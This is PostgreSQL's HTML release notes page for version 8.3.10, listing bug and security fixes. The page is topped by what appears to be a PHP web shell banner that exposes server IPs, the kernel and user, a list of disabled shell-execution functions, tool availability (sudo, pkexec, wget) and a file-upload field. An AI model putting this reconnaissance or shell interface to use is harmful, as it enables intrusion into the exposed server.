| Server IP : 103.119.228.120 / Your IP : 13.59.205.182 Web Server : Apache System : Linux v8.techscape8.com 3.10.0-1160.119.1.el7.tuxcare.els2.x86_64 #1 SMP Mon Jul 15 12:09:18 UTC 2024 x86_64 User : nobody ( 99) PHP Version : 5.6.40 Disable Function : shell_exec,symlink,system,exec,proc_get_status,proc_nice,proc_terminate,define_syslog_variables,syslog,openlog,closelog,escapeshellcmd,passthru,ocinum cols,ini_alter,leak,listen,chgrp,apache_note,apache_setenv,debugger_on,debugger_off,ftp_exec,dl,dll,myshellexec,proc_open,socket_bind,proc_close,escapeshellarg,parse_ini_filepopen,fpassthru,exec,passthru,escapeshellarg,escapeshellcmd,proc_close,proc_open,ini_alter,popen,show_source,proc_nice,proc_terminate,proc_get_status,proc_close,pfsockopen,leak,apache_child_terminate,posix_kill,posix_mkfifo,posix_setpgid,posix_setsid,posix_setuid,dl,symlink,shell_exec,system,dl,passthru,escapeshellarg,escapeshellcmd,myshellexec,c99_buff_prepare,c99_sess_put,fpassthru,getdisfunc,fx29exec,fx29exec2,is_windows,disp_freespace,fx29sh_getupdate,fx29_buff_prepare,fx29_sess_put,fx29shexit,fx29fsearch,fx29ftpbrutecheck,fx29sh_tools,fx29sh_about,milw0rm,imagez,sh_name,myshellexec,checkproxyhost,dosyayicek,c99_buff_prepare,c99_sess_put,c99getsource,c99sh_getupdate,c99fsearch,c99shexit,view_perms,posix_getpwuid,posix_getgrgid,posix_kill,parse_perms,parsesort,view_perms_color,set_encoder_input,ls_setcheckboxall,ls_reverse_all,rsg_read,rsg_glob,selfURL,dispsecinfo,unix2DosTime,addFile,system,get_users,view_size,DirFiles,DirFilesWide,DirPrintHTMLHeaders,GetFilesTotal,GetTitles,GetTimeTotal,GetMatchesCount,GetFileMatchesCount,GetResultFiles,fs_copy_dir,fs_copy_obj,fs_move_dir,fs_move_obj,fs_rmdir,SearchText,getmicrotime MySQL : ON | cURL : ON | WGET : ON | Perl : ON | Python : ON | Sudo : ON | Pkexec : ON Directory : /usr/local/ssl/local/ssl/share/doc/postgresql-9.2.24/html/ |
Upload File : |
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">
<HTML
><HEAD
><TITLE
>Release 8.3.10</TITLE
><META
NAME="GENERATOR"
CONTENT="Modular DocBook HTML Stylesheet Version 1.79"><LINK
REV="MADE"
HREF="mailto:pgsql-docs@postgresql.org"><LINK
REL="HOME"
TITLE="PostgreSQL 9.2.24 Documentation"
HREF="index.html"><LINK
REL="UP"
TITLE="Release Notes"
HREF="release.html"><LINK
REL="PREVIOUS"
TITLE="Release 8.3.11"
HREF="release-8-3-11.html"><LINK
REL="NEXT"
TITLE="Release 8.3.9"
HREF="release-8-3-9.html"><LINK
REL="STYLESHEET"
TYPE="text/css"
HREF="stylesheet.css"><META
HTTP-EQUIV="Content-Type"
CONTENT="text/html; charset=ISO-8859-1"><META
NAME="creation"
CONTENT="2017-11-06T22:43:11"></HEAD
><BODY
CLASS="SECT1"
><DIV
CLASS="NAVHEADER"
><TABLE
SUMMARY="Header navigation table"
WIDTH="100%"
BORDER="0"
CELLPADDING="0"
CELLSPACING="0"
><TR
><TH
COLSPAN="5"
ALIGN="center"
VALIGN="bottom"
><A
HREF="index.html"
>PostgreSQL 9.2.24 Documentation</A
></TH
></TR
><TR
><TD
WIDTH="10%"
ALIGN="left"
VALIGN="top"
><A
TITLE="Release 8.3.11"
HREF="release-8-3-11.html"
ACCESSKEY="P"
>Prev</A
></TD
><TD
WIDTH="10%"
ALIGN="left"
VALIGN="top"
><A
HREF="release.html"
ACCESSKEY="U"
>Up</A
></TD
><TD
WIDTH="60%"
ALIGN="center"
VALIGN="bottom"
>Appendix E. Release Notes</TD
><TD
WIDTH="20%"
ALIGN="right"
VALIGN="top"
><A
TITLE="Release 8.3.9"
HREF="release-8-3-9.html"
ACCESSKEY="N"
>Next</A
></TD
></TR
></TABLE
><HR
ALIGN="LEFT"
WIDTH="100%"></DIV
><DIV
CLASS="SECT1"
><H1
CLASS="SECT1"
><A
NAME="RELEASE-8-3-10"
>E.111. Release 8.3.10</A
></H1
><DIV
CLASS="FORMALPARA"
><P
><B
>Release date: </B
>2010-03-15</P
></DIV
><P
> This release contains a variety of fixes from 8.3.9.
For information about new features in the 8.3 major release, see
<A
HREF="release-8-3.html"
>Section E.121</A
>.
</P
><DIV
CLASS="SECT2"
><H2
CLASS="SECT2"
><A
NAME="AEN130214"
>E.111.1. Migration to Version 8.3.10</A
></H2
><P
> A dump/restore is not required for those running 8.3.X.
However, if you are upgrading from a version earlier than 8.3.8,
see <A
HREF="release-8-3-8.html"
>Section E.113</A
>.
</P
></DIV
><DIV
CLASS="SECT2"
><H2
CLASS="SECT2"
><A
NAME="AEN130218"
>E.111.2. Changes</A
></H2
><P
></P
><UL
><LI
><P
> Add new configuration parameter <TT
CLASS="VARNAME"
>ssl_renegotiation_limit</TT
> to
control how often we do session key renegotiation for an SSL connection
(Magnus)
</P
><P
> This can be set to zero to disable renegotiation completely, which may
be required if a broken SSL library is used. In particular, some
vendors are shipping stopgap patches for CVE-2009-3555 that cause
renegotiation attempts to fail.
</P
></LI
><LI
><P
> Fix possible deadlock during backend startup (Tom)
</P
></LI
><LI
><P
> Fix possible crashes due to not handling errors during relcache reload
cleanly (Tom)
</P
></LI
><LI
><P
> Fix possible crash due to use of dangling pointer to a cached plan
(Tatsuo)
</P
></LI
><LI
><P
> Fix possible crashes when trying to recover from a failure in
subtransaction start (Tom)
</P
></LI
><LI
><P
> Fix server memory leak associated with use of savepoints and a client
encoding different from server's encoding (Tom)
</P
></LI
><LI
><P
> Fix incorrect WAL data emitted during end-of-recovery cleanup of a GIST
index page split (Yoichi Hirai)
</P
><P
> This would result in index corruption, or even more likely an error
during WAL replay, if we were unlucky enough to crash during
end-of-recovery cleanup after having completed an incomplete GIST
insertion.
</P
></LI
><LI
><P
> Make <CODE
CLASS="FUNCTION"
>substring()</CODE
> for <TT
CLASS="TYPE"
>bit</TT
> types treat any negative
length as meaning <SPAN
CLASS="QUOTE"
>"all the rest of the string"</SPAN
> (Tom)
</P
><P
> The previous coding treated only -1 that way, and would produce an
invalid result value for other negative values, possibly leading to
a crash (CVE-2010-0442).
</P
></LI
><LI
><P
> Fix integer-to-bit-string conversions to handle the first fractional
byte correctly when the output bit width is wider than the given
integer by something other than a multiple of 8 bits (Tom)
</P
></LI
><LI
><P
> Fix some cases of pathologically slow regular expression matching (Tom)
</P
></LI
><LI
><P
> Fix assorted crashes in <TT
CLASS="TYPE"
>xml</TT
> processing caused by sloppy
memory management (Tom)
</P
><P
> This is a back-patch of changes first applied in 8.4. The 8.3 code
was known buggy, but the new code was sufficiently different to not
want to back-patch it until it had gotten some field testing.
</P
></LI
><LI
><P
> Fix bug with trying to update a field of an element of a
composite-type array column (Tom)
</P
></LI
><LI
><P
> Fix the <TT
CLASS="LITERAL"
>STOP WAL LOCATION</TT
> entry in backup history files to
report the next WAL segment's name when the end location is exactly at a
segment boundary (Itagaki Takahiro)
</P
></LI
><LI
><P
> Fix some more cases of temporary-file leakage (Heikki)
</P
><P
> This corrects a problem introduced in the previous minor release.
One case that failed is when a plpgsql function returning set is
called within another function's exception handler.
</P
></LI
><LI
><P
> Improve constraint exclusion processing of boolean-variable cases,
in particular make it possible to exclude a partition that has a
<SPAN
CLASS="QUOTE"
>"bool_column = false"</SPAN
> constraint (Tom)
</P
></LI
><LI
><P
> When reading <TT
CLASS="FILENAME"
>pg_hba.conf</TT
> and related files, do not treat
<TT
CLASS="LITERAL"
>@something</TT
> as a file inclusion request if the <TT
CLASS="LITERAL"
>@</TT
>
appears inside quote marks; also, never treat <TT
CLASS="LITERAL"
>@</TT
> by itself
as a file inclusion request (Tom)
</P
><P
> This prevents erratic behavior if a role or database name starts with
<TT
CLASS="LITERAL"
>@</TT
>. If you need to include a file whose path name
contains spaces, you can still do so, but you must write
<TT
CLASS="LITERAL"
>@"/path to/file"</TT
> rather than putting the quotes around
the whole construct.
</P
></LI
><LI
><P
> Prevent infinite loop on some platforms if a directory is named as
an inclusion target in <TT
CLASS="FILENAME"
>pg_hba.conf</TT
> and related files
(Tom)
</P
></LI
><LI
><P
> Fix possible infinite loop if <CODE
CLASS="FUNCTION"
>SSL_read</CODE
> or
<CODE
CLASS="FUNCTION"
>SSL_write</CODE
> fails without setting <TT
CLASS="VARNAME"
>errno</TT
> (Tom)
</P
><P
> This is reportedly possible with some Windows versions of
<SPAN
CLASS="APPLICATION"
>openssl</SPAN
>.
</P
></LI
><LI
><P
> Disallow <ACRONYM
CLASS="ACRONYM"
>GSSAPI</ACRONYM
> authentication on local connections,
since it requires a hostname to function correctly (Magnus)
</P
></LI
><LI
><P
> Make <SPAN
CLASS="APPLICATION"
>ecpg</SPAN
> report the proper SQLSTATE if the connection
disappears (Michael)
</P
></LI
><LI
><P
> Fix <SPAN
CLASS="APPLICATION"
>psql</SPAN
>'s <TT
CLASS="LITERAL"
>numericlocale</TT
> option to not
format strings it shouldn't in latex and troff output formats (Heikki)
</P
></LI
><LI
><P
> Make <SPAN
CLASS="APPLICATION"
>psql</SPAN
> return the correct exit status (3) when
<TT
CLASS="LITERAL"
>ON_ERROR_STOP</TT
> and <TT
CLASS="LITERAL"
>--single-transaction</TT
> are
both specified and an error occurs during the implied <TT
CLASS="COMMAND"
>COMMIT</TT
>
(Bruce)
</P
></LI
><LI
><P
> Fix plpgsql failure in one case where a composite column is set to NULL
(Tom)
</P
></LI
><LI
><P
> Fix possible failure when calling PL/Perl functions from PL/PerlU
or vice versa (Tim Bunce)
</P
></LI
><LI
><P
> Add <TT
CLASS="LITERAL"
>volatile</TT
> markings in PL/Python to avoid possible
compiler-specific misbehavior (Zdenek Kotala)
</P
></LI
><LI
><P
> Ensure PL/Tcl initializes the Tcl interpreter fully (Tom)
</P
><P
> The only known symptom of this oversight is that the Tcl
<TT
CLASS="LITERAL"
>clock</TT
> command misbehaves if using Tcl 8.5 or later.
</P
></LI
><LI
><P
> Prevent crash in <TT
CLASS="FILENAME"
>contrib/dblink</TT
> when too many key
columns are specified to a <CODE
CLASS="FUNCTION"
>dblink_build_sql_*</CODE
> function
(Rushabh Lathia, Joe Conway)
</P
></LI
><LI
><P
> Allow zero-dimensional arrays in <TT
CLASS="FILENAME"
>contrib/ltree</TT
> operations
(Tom)
</P
><P
> This case was formerly rejected as an error, but it's more convenient to
treat it the same as a zero-element array. In particular this avoids
unnecessary failures when an <TT
CLASS="TYPE"
>ltree</TT
> operation is applied to the
result of <TT
CLASS="LITERAL"
>ARRAY(SELECT ...)</TT
> and the sub-select returns no
rows.
</P
></LI
><LI
><P
> Fix assorted crashes in <TT
CLASS="FILENAME"
>contrib/xml2</TT
> caused by sloppy
memory management (Tom)
</P
></LI
><LI
><P
> Make building of <TT
CLASS="FILENAME"
>contrib/xml2</TT
> more robust on Windows
(Andrew)
</P
></LI
><LI
><P
> Fix race condition in Windows signal handling (Radu Ilie)
</P
><P
> One known symptom of this bug is that rows in <TT
CLASS="STRUCTNAME"
>pg_listener</TT
>
could be dropped under heavy load.
</P
></LI
><LI
><P
> Update time zone data files to <SPAN
CLASS="APPLICATION"
>tzdata</SPAN
> release 2010e
for DST law changes in Bangladesh, Chile, Fiji, Mexico, Paraguay, Samoa.
</P
></LI
></UL
></DIV
></DIV
><DIV
CLASS="NAVFOOTER"
><HR
ALIGN="LEFT"
WIDTH="100%"><TABLE
SUMMARY="Footer navigation table"
WIDTH="100%"
BORDER="0"
CELLPADDING="0"
CELLSPACING="0"
><TR
><TD
WIDTH="33%"
ALIGN="left"
VALIGN="top"
><A
HREF="release-8-3-11.html"
ACCESSKEY="P"
>Prev</A
></TD
><TD
WIDTH="34%"
ALIGN="center"
VALIGN="top"
><A
HREF="index.html"
ACCESSKEY="H"
>Home</A
></TD
><TD
WIDTH="33%"
ALIGN="right"
VALIGN="top"
><A
HREF="release-8-3-9.html"
ACCESSKEY="N"
>Next</A
></TD
></TR
><TR
><TD
WIDTH="33%"
ALIGN="left"
VALIGN="top"
>Release 8.3.11</TD
><TD
WIDTH="34%"
ALIGN="center"
VALIGN="top"
><A
HREF="release.html"
ACCESSKEY="U"
>Up</A
></TD
><TD
WIDTH="33%"
ALIGN="right"
VALIGN="top"
>Release 8.3.9</TD
></TR
></TABLE
></DIV
></BODY
></HTML
>